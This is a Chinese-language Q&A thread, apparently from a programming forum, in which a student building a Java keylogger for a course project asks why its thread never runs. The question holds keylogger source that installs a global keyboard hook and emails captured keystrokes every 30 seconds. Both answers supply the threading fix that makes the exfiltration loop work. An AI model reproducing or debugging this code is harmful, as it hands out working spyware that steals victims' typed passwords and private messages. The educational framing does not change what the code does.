执行新线程后,代码块未运行

时间:2018-12-04 05:25:52

标签: java

我正在尝试运行一些我在youtube上的教程中找到的部分课程项目的代码。基本上,我试图显示在计算机上安装键盘记录器时发生的影响。

由于某些原因,在ManageService类中未使用run(),我不确定为什么。我认为通过在类的顶部添加@Override和runnable可以使这项工作成功。

主类:

public class Main {
/**
 * gfgfterst
 * tests
 * sfdsf
 *
 */
    public static void main(String[] args) {
        ManageService service = new ManageService();
        try {
            GlobalScreen.registerNativeHook();
        } catch (Throwable e) {
            e.printStackTrace();
        }

        GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
    }
}

ManageService类:

执行代码时未使用run()函数。

package handlers;

import keys.NativeKeyBoard;

public class ManageService implements Runnable {

    private NativeKeyBoard keyboard;
    private Thread service;

    public ManageService() {
        keyboard = new NativeKeyBoard();
        service = new Thread("Manage Service");
        service.start();
    }

    public NativeKeyBoard getKeyBoard() {
        return keyboard;
    }

    @Override
    public void run() {
        System.out.println("This isn't getting hit?");
        long start = System.nanoTime();
        while(true) {
            long elapsed = (System.nanoTime() - start) / 1_000_000;
            if(elapsed > 30_000 * 1) {
                try {
                    Sender.sendMail(Utils.prettyPrint(keyboard.getKeyCache()));
                    keyboard.onSend();
                } catch (Throwable e) {
                    System.out.println("keystroke data failed to be sentg.");
                    e.printStackTrace();
                    keyboard.onFail();
                }
                start = System.currentTimeMillis();
            }
        }
    }
}

2 个答案:

答案 0 :(得分:2)

在构造函数代码中,您尚未启动ManageService的线程,可以按以下方式更改代码:

public ManageService() {
    keyboard = new NativeKeyBoard();
    //make ManageService as an parameter to create a thread
    service = new Thread(this,"Manage Service");
    service.start();
}

答案 1 :(得分:0)

为了运行ManageService线程而缺少调用start()方法,请更新这些更改。

 public class ManageService extends Thread {
   ...
 }

 public static void main(String[] args) {
    ManageService service = new ManageService();
    service.start();
    try {
       GlobalScreen.registerNativeHook();
    } catch (Throwable e) {
       e.printStackTrace();
    }

    GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
 }